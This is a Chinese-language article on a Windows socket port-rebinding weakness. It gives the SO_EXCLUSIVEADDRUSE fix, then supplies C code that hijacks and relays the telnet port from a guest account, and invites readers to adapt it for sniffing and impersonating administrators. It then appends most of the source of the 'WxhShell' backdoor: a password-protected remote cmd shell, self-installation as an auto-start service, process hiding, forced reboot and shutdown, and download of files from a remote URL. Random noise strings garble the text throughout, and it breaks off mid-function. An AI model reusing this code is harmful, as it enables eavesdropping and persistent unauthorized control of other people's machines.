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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: } nIYNeP?D s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5yJ~ q TR
`C|TV> saddr.sin_family = AF_INET; 4v(?]]X VD!PF' saddr.sin_addr.s_addr = htonl(INADDR_ANY); -J'ked P uQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bz,"TG[ yk^2<?z>2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wpNb/U 23+JuXC6> 这意味着什么?意味着可以进行如下的攻击: &P*r66 u#V; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;_ 1Rk&o! ?}uvpB1} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OzH\YN ^4[QX
-_2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RN&8dsreZp xvWP^Qkb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 MP
)nQ \f]w'qiW5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?<OyJ|;V *Hv d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gA5DEit ZXbq5p_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @P=n{-pIW hPKutx #include O!F"w!5@ #include jC-`u-_'j #include QdD@[ #include Kr4%D* DWORD WINAPI ClientThread(LPVOID lpParam); ?f5||^7 int main() '81Rwp { D [v22 5 WORD wVersionRequested; idS+&:' DWORD ret; S!iDPl~ WSADATA wsaData; \pI
,6$' BOOL val; l`:-B'WM SOCKADDR_IN saddr; $ Fy)+< SOCKADDR_IN scaddr; u)D!Rh V& int err; ,M\/[_: SOCKET s; *@YQr]~
; SOCKET sc; Xi=4S[.4 int caddsize; '?$<k@mJW HANDLE mt; Xs2B:`,hh DWORD tid; 3 "|A5>Vo wVersionRequested = MAKEWORD( 2, 2 ); (+TL
]9P err = WSAStartup( wVersionRequested, &wsaData ); 6fT^t!<i if ( err != 0 ) { xfqu=z8X printf("error!WSAStartup failed!\n"); ?xE'i[F @ return -1; #vR5a}BAk } JgldC[|7 saddr.sin_family = AF_INET; kPnuU! NVDvd6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7#g<fh !:D,|k\m saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EOGz;:b& saddr.sin_port = htons(23); h{PJ4U{W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l-'\E6grdH { bWB&8&p printf("error!socket failed!\n"); M
!rw!,g return -1; ;FjI!V } %bhFl,tL val = TRUE; 3cFvS[JG //SO_REUSEADDR选项就是可以实现端口重绑定的 ZD8E+]+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MIc(B_q { NB&zBJ# printf("error!setsockopt failed!\n"); <)gTi759h) return -1; >DR/lBtL } &([yI>% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Sr6?^>A@t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S^@#%> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }An;)!>(nF jTok1k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w8-L2)Q}I { Lor__
K ret=GetLastError(); 1h?:gOig printf("error!bind failed!\n"); ze#ncnMo return -1; 6IL-S%EGK1 } |Lz7}g=6 listen(s,2); MAG/7T5 while(1) R!_1 *H$ { rK
cr1VFy caddsize = sizeof(scaddr); JU-eoB}m //接受连接请求 ~*G}+Ur$2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^|%7}=e if(sc!=INVALID_SOCKET) vP/sG5$x { $b"Ex> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ch0x*[N@ if(mt==NULL) yTU'voE.| { VD2o#.7*eu printf("Thread Creat Failed!\n"); X#u< 3<P break; ltmD=-]G_ } Oat
#% } KU;m.{ CloseHandle(mt); #0/^v* } VN<baK%] closesocket(s); 1?#Wg>7' WSACleanup(); =&;}#A%m return 0; HlX 2:\\ } HAMps[D[ DWORD WINAPI ClientThread(LPVOID lpParam) yI*h"?7T
{ O9MBQNwjA SOCKET ss = (SOCKET)lpParam; C<iOa)_@Q SOCKET sc; uBBW2 unsigned char buf[4096]; I$Fr8R$ SOCKADDR_IN saddr; [$%0[;jtS long num; e#{l DWORD val; #'h(o/hz&& DWORD ret; |#(g8ua7 //如果是隐藏端口应用的话,可以在此处加一些判断 \E2S/1p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 bR|1*< saddr.sin_family = AF_INET; B7BikxUa saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?nx
1{2[ saddr.sin_port = htons(23); C)qP9uW if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8*yky { 5%(xZ
6 printf("error!socket failed!\n"); 1"HSM=p return -1; d0@czNWIC } +jz%:D val = 100; %c,CfhEV%& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9IG3zM f { X+k`UM~ ret = GetLastError(); vD4<G{ return -1; 'O]Ja- } "]{"4qV1= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ||sj*K { de?lO;8 ret = GetLastError(); @V#
wYt return -1; z6Jfu:_N! } IpMZ{kJlv` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @](\cT64i3 { f:K`MW printf("error!socket connect failed!\n"); jF%[.n[BU closesocket(sc); V{G9E closesocket(ss); =D~RIt/D return -1; t#[u
X? } j{a3AEmps while(1) 0NWtu]9QC { E$84c+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4$!iw3N( //如果是嗅探内容的话,可以再此处进行内容分析和记录 N%&D(_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PNMf5'@m num = recv(ss,buf,4096,0); H/ 6GD,0 if(num>0) ~h*p A8^L send(sc,buf,num,0); tcxs%yWO1 else if(num==0) ku}I;k | break; \dag~b< num = recv(sc,buf,4096,0); q#~]Hp=W5 if(num>0) p@7[w@B\c send(ss,buf,num,0); %Sdzr!I7* else if(num==0) y3O Nn~k break; B:\TvWbu } K9y!ZoB closesocket(ss); 7+I2"Hy closesocket(sc); $yx34= return 0 ; r.:H` } rn?:utP afMIq Q? "HQH]?!k ========================================================== [af<FQ { K>`7f]?H*e 下边附上一个代码,,WXhSHELL I!;# Nk> Tx7YHE6{ ========================================================== ^Q?I8,4} :>[;XT< #include "stdafx.h" t'EH_U [lC*|4t& #include <stdio.h> D n?P~% #include <string.h> {Z_Pry$6 #include <windows.h> *S.2p*Vd #include <winsock2.h> n8M/Y}mH #include <winsvc.h> 4565U #include <urlmon.h> |^ml|cb s.rS06x #pragma comment (lib, "Ws2_32.lib") "l&sDh%Lk< #pragma comment (lib, "urlmon.lib") {=,?]Z+ eb)S<%R/ #define MAX_USER 100 // 最大客户端连接数 >Tld: #define BUF_SOCK 200 // sock buffer E$FXs~a #define KEY_BUFF 255 // 输入 buffer 5U[;T]{)e T!hU37g h? #define REBOOT 0 // 重启 )^^r\ #define SHUTDOWN 1 // 关机 'C~NQ{1TV (iK0T. #define DEF_PORT 5000 // 监听端口 g2hxWf" @Ns^?#u~ #define REG_LEN 16 // 注册表键长度 HPT9B?^ #define SVC_LEN 80 // NT服务名长度 n\ma5"n0=\ ~S
R:,R // 从dll定义API N
L]:<FG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z$,1Tk"O/s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `ge{KB;*n# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oS$&jd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +gOCl*L 0}Xkj)R, // wxhshell配置信息 h2KXW}y"4 struct WSCFG { _-Aw`<_*- int ws_port; // 监听端口 awXL}m[_! char ws_passstr[REG_LEN]; // 口令 +6f5uMKUvs int ws_autoins; // 安装标记, 1=yes 0=no r}QW!^F char ws_regname[REG_LEN]; // 注册表键名 A"C%.InZ char ws_svcname[REG_LEN]; // 服务名 Gz!72H char ws_svcdisp[SVC_LEN]; // 服务显示名 `2NL'O: char ws_svcdesc[SVC_LEN]; // 服务描述信息 1(!!EcU_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0sq/_S int ws_downexe; // 下载执行标记, 1=yes 0=no .d9VV& char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ^?toTU char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N:clwmo cCU'~ }; eF}Q8]da %I%F
!M // default Wxhshell configuration d Z"bc]z{ struct WSCFG wscfg={DEF_PORT, iAT&C`,(& "xuhuanlingzhe", S53 [Ja 1, ,US~p_M! "Wxhshell", gA!-F}x$ "Wxhshell", E] t:_v "WxhShell Service", Y.i<7pBt "Wrsky Windows CmdShell Service", akBR"y:~:H "Please Input Your Password: ", +B_q? 6pR 1, X\
\\RCp " http://www.wrsky.com/wxhshell.exe", ;N ]ElwP "Wxhshell.exe" -Q 6W`*8 }; A>7'W\R lJKhP // 消息定义模块 ^"6xE nA] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R*Pfc91} char *msg_ws_prompt="\n\r? for help\n\r#>"; b0LQ$XM>8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; dldM hT$ char *msg_ws_ext="\n\rExit."; O~fRcf:Q char *msg_ws_end="\n\rQuit."; /kx:BoV char *msg_ws_boot="\n\rReboot..."; O-T/H-J` char *msg_ws_poff="\n\rShutdown..."; ^fK8~g;rB char *msg_ws_down="\n\rSave to "; 7C2/^x P }T,E$vsx char *msg_ws_err="\n\rErr!"; 73}k[e7e char *msg_ws_ok="\n\rOK!"; t1C{
L$jyeFB5 char ExeFile[MAX_PATH]; 3}twWnQZJ int nUser = 0; fE7WLV2I> HANDLE handles[MAX_USER]; SmR*b2U int OsIsNt; )1x333.[c H8\{GGg SERVICE_STATUS serviceStatus; <Isr SERVICE_STATUS_HANDLE hServiceStatusHandle; -IX;r1UD }_?7k0EZ@ // 函数声明 _4E+7+ int Install(void); ;'o>6I7Ph int Uninstall(void); Ci*TX int DownloadFile(char *sURL, SOCKET wsh); 9(X
*[X# int Boot(int flag); -;~_]t^a void HideProc(void); ^Ws~h\{% int GetOsVer(void); UVI=&y]c,p int Wxhshell(SOCKET wsl); ;QEGr|( void TalkWithClient(void *cs); UT{Nly8u int CmdShell(SOCKET sock); 1}ToR= int StartFromService(void); *n[Fl
int StartWxhshell(LPSTR lpCmdLine); hR`dRbBi% IS=)J( 0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @K+u+}
R VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3t_5Xacj ]B7t9l // 数据结构和表定义 }Ql;% 7 SERVICE_TABLE_ENTRY DispatchTable[] = f
Fz8m { }oU&J81 {wscfg.ws_svcname, NTServiceMain}, l{pF^?K {NULL, NULL} [R:O'AP}@} }; rU~"A !EW]:u // 自我安装 bFJn-g n int Install(void) eb8_guZ { .ZJh-cd char svExeFile[MAX_PATH]; #F6ak,9S4 HKEY key; ypifXO;m7 strcpy(svExeFile,ExeFile); :m~lgb< mcR!P~"i // 如果是win9x系统,修改注册表设为自启动 SMy&K[hJ[ if(!OsIsNt) { l3MH+o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pKJ[e@E^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "bO] RegCloseKey(key); =1JRu[&]8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _HL3XT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bl1I "B RegCloseKey(key); j>:T)zhyY return 0; u,]yd* } Umd!j, } x~z 2l#ow } N1$P6ZF else { eyG.XAP g-s@m}[T // 如果是NT以上系统,安装为系统服务 M]{!Nx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t2gjhn^p if (schSCManager!=0) WT)")0)[ { /6fPC;l SC_HANDLE schService = CreateService .`p_vS9 ( -I*A `M schSCManager, /l`XJs wscfg.ws_svcname, :Ry24X wscfg.ws_svcdisp, X>4`{x ` SERVICE_ALL_ACCESS, !<)_ F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +!Ltn SERVICE_AUTO_START, Rb0{t[IU SERVICE_ERROR_NORMAL, h.^DRR^S svExeFile, _7 ;^od=C NULL, d7P @_jO6 NULL, Yp)U'8{h c NULL, +g[B &A!d+ NULL, N'1~ wxd NULL g}-Z]2(c# ); X3nhqQTZ if (schService!=0) *J=ol { ["M> CloseServiceHandle(schService); Y<+4>Eh CloseServiceHandle(schSCManager); 8iN As#s strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (?!0__NN; strcat(svExeFile,wscfg.ws_svcname); /z5lxS@# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h"ylpv+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U VKN#"_{ RegCloseKey(key); pYG,5+g return 0; ar|[D7Xrq\ } "BRE0Ir: } {1%ZyY CloseServiceHandle(schSCManager); q@9i3*q; } l'T0< } AF$ o>f *F*X_O return 1; ];;w/$zke } pG6-.F; (do=o&9pm // 自我卸载 (Y)h+}n5N int Uninstall(void) D8Rmxq! { dO,05?q| HKEY key; c!Vc_@V, [r8 d+ if(!OsIsNt) { |sa7Y_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h\d($Ki RegDeleteValue(key,wscfg.ws_regname); |vz;bJG RegCloseKey(key); =bWq 3aP)P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o(/ia3 RegDeleteValue(key,wscfg.ws_regname); G3+a+=e RegCloseKey(key); HDyZzjgG return 0; ;/ KF3
% } m1i+{(( } xm5FQ) T } ZHlin#" else { JK"uj% N>%KV8>{L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dY@Tt&k8E if (schSCManager!=0) Z4ov { w s>Iyw.u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l0\>zWLZZ9 if (schService!=0) !a(qqZ|s { h_G|.7! if(DeleteService(schService)!=0) { ysJhP . CloseServiceHandle(schService); l=~99mE CloseServiceHandle(schSCManager); irb.F>(x return 0; Z?c=t-yqp } JS?l?~ CloseServiceHandle(schService); lkWeQ)V } >m6,xxTR CloseServiceHandle(schSCManager); ^%$W S, } W#7-%oT } JvJ!\6Q@ `[ ` *@O(y return 1; i^ cM@? } TgE.=` "7 G%8)6m'3 // 从指定url下载文件 < Gy!i/ int DownloadFile(char *sURL, SOCKET wsh) }:l%,DBw { \]#;!6ge HRESULT hr; x*"pDI0k) char seps[]= "/"; $17
v, char *token; u:H 3.5)% char *file; 'j<:FUDJ char myURL[MAX_PATH]; e9hVX[uq char myFILE[MAX_PATH]; Ta\8>\6 OK2/k_jXN' strcpy(myURL,sURL); q'AnI$! token=strtok(myURL,seps); F;&fx( while(token!=NULL) - Zoo) { lp0T\
% file=token; @1SKgbt> token=strtok(NULL,seps); %)hIpxOrX } )>X|o$2 k5%0wHpk = GetCurrentDirectory(MAX_PATH,myFILE); ]^6y NtLK strcat(myFILE, "\\"); sHPwW5j/o' strcat(myFILE, file); C(1A8 send(wsh,myFILE,strlen(myFILE),0); am'p^Z@ send(wsh,"...",3,0); ;'Vipj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <.7I8B7 if(hr==S_OK) QOh w return 0; J,0WQQnb else )<x;ra^ return 1; lfpt:5a9& G0;EbJ/& } e"s {_V %L \{kUam // 系统电源模块 ^2;(2s int Boot(int flag) ~q]|pD"\K| { ;LF)u2x= HANDLE hToken; 5Ckk5b TOKEN_PRIVILEGES tkp; mb~=Xyk& :U-US|)(2 if(OsIsNt) { _^xh1=Qr}n OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X.T\=dm%v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &t*8oNwSs tkp.PrivilegeCount = 1; {7Gx9( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H ?=pWB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w[,?-Xm if(flag==REBOOT) { msqxPC^I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B=Zukg1G return 0; r_V2 J{B } 1hMX(N&| else { mSw?2ba if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J^g,jBk return 0; &8X
.!r`f } GEe 0@q#YA } N&x WHFn]C else { :uIi
? if(flag==REBOOT) { b5n]Gp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Pem%HE~P return 0; *b6I%MZn } Q2[prrk%j else { 4(Cd if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wzDk{4U return 0; Mf;|z0UX } u^aFj%}]L } x:A-p..e ~<2 IIR$H return 1; v ]/OAH6D } *gM,x4 Y =.qm8+ // win9x进程隐藏模块 l\T!)Ql void HideProc(void) _4.]A3;} { (
K6~Tj
}XGMa?WR HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q3AJwELXw if ( hKernel != NULL ) "wnpiB} { 0kNe?Xi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (kWSK:l ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yqC Q24 FreeLibrary(hKernel); %Ycx C0S[ } 99l>CYXd '%zN return; &v5G92 } [%j?.N m,W) N9 M // 获取操作系统版本 \)OZUch int GetOsVer(void) /9x{^ { mR{CVU OSVERSIONINFO winfo; ./'~];& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CQ6'b,L& GetVersionEx(&winfo); !dU9sB2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @s_3 0+ return 1; ?M *7@t@ else A6Ghj{~ return 0; ,HFs.9#&B } :ozV3`%$( &49u5&TiP // 客户端句柄模块 A/q2g7My int Wxhshell(SOCKET wsl) c |>=S)| { `I5O4|K) SOCKET wsh; 4p.^'2m struct sockaddr_in client; Fi mN?s DWORD myID; \7pipde 1HMUHZT while(nUser<MAX_USER) ^_v[QV { DH
6q7"@ int nSize=sizeof(client); )uZoH8? wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %BUEX if(wsh==INVALID_SOCKET) return 1; >~_Jq|KBB N_ UQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'T\dkSJv;V if(handles[nUser]==0) A (Bk@; closesocket(wsh); .*BA 1sjE else (a[.vw^g nUser++; eP "`,< } X0`j-*,FX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pz{'1\_+9 <3 A0={En return 0; -"=)z/S } dL-i)F
~.J,A\F // 关闭 socket %SAw;ZtQ: void CloseIt(SOCKET wsh) H$!+A { B
MM--y@ closesocket(wsh); .u l
53 m nUser--; WmeKl ExitThread(0); l
_+6=u } ^T:gb]i'Qa K/txD20
O| // 客户端请求句柄 W^es;5 void TalkWithClient(void *cs) !;S"&mcPDJ { B:<
]Hl$ WK0C SOCKET wsh=(SOCKET)cs; !SO8O char pwd[SVC_LEN]; (luKn&826 char cmd[KEY_BUFF]; .63=(o char chr[1]; @5.e@]>ZM int i,j; }u%"$[I} PY`L$e while (nUser < MAX_USER) { 87V1#U ^ [84F09HU if(wscfg.ws_passstr) { w\Mnu}<e$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); */z??fI27 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pXu/(&? //ZeroMemory(pwd,KEY_BUFF); d,0 }VaY=D i=0; 7AwgJb hn while(i<SVC_LEN) { S|em[D[Y^ O/Rhf[7v* // 设置超时 gd7^3q[$h fd_set FdRead; A(8n struct timeval TimeOut; c)}2K0 FD_ZERO(&FdRead); w8Vw1wW FD_SET(wsh,&FdRead); !2tW$BP^ TimeOut.tv_sec=8; 9MY7a=5E~ TimeOut.tv_usec=0; >\2:\wI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "5Uh<X if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $s\UL}Gc At6qtoPRA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1u|V`J)0 pwd =chr[0]; egk7O4zwP if(chr[0]==0xd || chr[0]==0xa) { 80pid[F pwd=0; WG7k(Sp] break; amWD-0V } $w#r"= ) i++; $HJTj29/ } ]m4OIst *\uM.m0$ // 如果是非法用户,关闭 socket | ?yo 3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2xwlKmI N } MZ>6o5K| <#M`5X. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4|?{VQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I$t3qd{H& CZ<~3bEF while(1) { d[D&J %+)o'nf"U ZeroMemory(cmd,KEY_BUFF); l_rn++ laKuOx} // 自动支持客户端 telnet标准 ao" %WX j=0; Kl{>jr8B3 while(j<KEY_BUFF) { cO2& VC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U69u'G: cmd[j]=chr[0]; [,RI-#n if(chr[0]==0xa || chr[0]==0xd) { %V`F!D<D cmd[j]=0; wXMDh$ break; G!N{NCq } U9y|>P\)T j++; a ]Eg!Q } wxg^Bq)D*R WtulTAfN // 下载文件 oX@ya3!Pz if(strstr(cmd,"http://")) { xT&(n/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); cJo\#cr if(DownloadFile(cmd,wsh)) u]-_<YZ'B send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2aw&YZ&Xo else fKC3-zm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /MMd`VrC2 } 1OLqL else { %CwL:.| {rfF'@[ switch(cmd[0]) { *L6PLe 0~wF3BgV // 帮助 n\Fp[9+Z\ case '?': { ]M/9#mD9~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'i;|c break; FGO[
|]7IN } W?yd#j // 安装 _=ua6}Xp case 'i': { :@W.K5 if(Install()) g4`Kp;}&' send(wsh,msg_ws_err,strlen(msg_ws_err),0); S po?i.# else }bN%u3mHws send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NK|? y break; c_aZ{S } MuoF FvAA // 卸载 ?D,=37 case 'r': { (,^*So/ if(Uninstall()) }X
GEX:1K send(wsh,msg_ws_err,strlen(msg_ws_err),0); Go,N>HN else ^7;JC7qmN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DeR='7n break; yC
77c= } XwV'Ha // 显示 wxhshell 所在路径 M"%Q&o/I case 'p': { {G <kA(Lm char svExeFile[MAX_PATH]; LjL[V'JL strcpy(svExeFile,"\n\r"); go+Q~NV strcat(svExeFile,ExeFile); ^[%%r3"$C send(wsh,svExeFile,strlen(svExeFile),0); + OV')oE break; =rdY
@ } %uv?we7 // 重启 "V{yi!D{< case 'b': { .jy]8S8[|% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *'ZB*> if(Boot(REBOOT)) hhoEb(BA send(wsh,msg_ws_err,strlen(msg_ws_err),0); s2j['g5 else { =^H4 Yck/5 closesocket(wsh); eIl]oC7* ExitThread(0); lL]y~u } x `V;Y]7' break; cb5,P~/q } 52upoU>}2 // 关机 @( n^T case 'd': { }I`a`0/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (C]o,7cYS if(Boot(SHUTDOWN)) hzk6rYg1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'zh7_% else { gm9mg*aM closesocket(wsh); +cU>k} ExitThread(0); y4+;z2'> } T{wuj[Q#: break; gWY"w!f } lI>SUsQFfm // 获取shell pRSOYTebP case 's': {
ccd8O{G.M CmdShell(wsh); $ cj>2. closesocket(wsh); nC{%quwh{ ExitThread(0); G%d
( break; 'l,V*5L } =)|-?\[w // 退出 .xBu-?6s6 case 'x': { .$@R{>%U send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .jMq CloseIt(wsh); If%/3UJ@ break; F[ewn/]n } LkQX?2>] // 离开 pKi& [ case 'q': { svXR<7)# send(wsh,msg_ws_end,strlen(msg_ws_end),0); N>>uCkC closesocket(wsh); ytNO*XoR WSACleanup(); KN-avu_Ix exit(1); aM4k *|H? break; GKcv<G208 } [V:\\$ } %\i9p]= } Is+O VE8;sGaJ // 提示信息 2h%z ("3/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |g*XK6 } %w7]@V Z } \rPbK+G. |hr]>P1 return; K(q-?n`< } DfKr[cqLM Uo2GK3nT // shell模块句柄
P\_` int CmdShell(SOCKET sock) -1J[n0O. { RVeEkv[qp STARTUPINFO si; f47M#UC ZeroMemory(&si,sizeof(si)); /@|/^vld si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1T[et- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (T2m"Yi: PROCESS_INFORMATION ProcessInfo; hqRw^2F char cmdline[]="cmd"; *E{2J:` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JY6
Qp return 0; jRL<JZ1N } |7zd%! `hb%+-lj+ // 自身启动模式 w}=5ElB int StartFromService(void) $LU"?aAW { %HJK; typedef struct 0'IBN} { {D=@n4JO DWORD ExitStatus; `]W|8M DWORD PebBaseAddress; GI&h`X5,e DWORD AffinityMask; z^<"x|: DWORD BasePriority; G.UI|r/Kz ULONG UniqueProcessId; 7a~X:# ULONG InheritedFromUniqueProcessId; KY~-;0x } PROCESS_BASIC_INFORMATION; ow]053:i 53[~bwD PROCNTQSIP NtQueryInformationProcess; hodgDrmO/ Q@HopiC static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4F{70"a static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <%"b9T`' rh^mJUh HANDLE hProcess; pfI"36]F PROCESS_BASIC_INFORMATION pbi; .p(T^ m2A* Cid
